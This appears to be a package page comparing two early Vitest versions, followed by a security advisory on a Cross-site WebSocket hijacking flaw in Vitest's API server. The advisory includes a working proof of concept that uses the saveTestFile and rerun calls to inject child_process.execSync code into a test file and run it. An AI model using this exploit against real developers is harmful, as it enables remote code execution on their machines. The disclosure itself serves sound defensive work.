Vitest version 0.0.101 introduces a notable shift in dependency management compared to its predecessor, version 0.0.100. While both versions share the core functionality of being a blazing-fast unit test framework powered by Vite, a key distinction lies in the direct dependencies. Version 0.0.101 incorporates "chai" as a direct dependency alongside other testing utilities like "tinyspy," "tinypool," and "local-pkg". This inclusion potentially simplifies the setup process for developers, as they no longer need to explicitly install "chai" when using Vitest for assertions.
The "devDependencies" remain largely consistent between the two versions, encompassing tools like "c8" for coverage, "rollup" for bundling, and various type definition packages to ensure type safety. This suggests that the core development and build processes haven't undergone significant changes.
However, the absence of "chai" from the "devDependencies" of version 0.0.101, while being present in version 0.0.100 is also a very important difference. It, in conjunction with the other changes, may result in a more streamlined and efficient testing experience for developers.
Moreover, the unpacked size is also considerably different: moving from 1.5MB to 1.1MB. This means that the new version is more optimized and cleaner. Consider upgrading to version 0.0.101 for potentially improved ease of use and dependency management.
All the vulnerabilities related to the version 0.0.101 of the package
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
This vulnerability can result in remote code execution for users that are using Vitest serve API.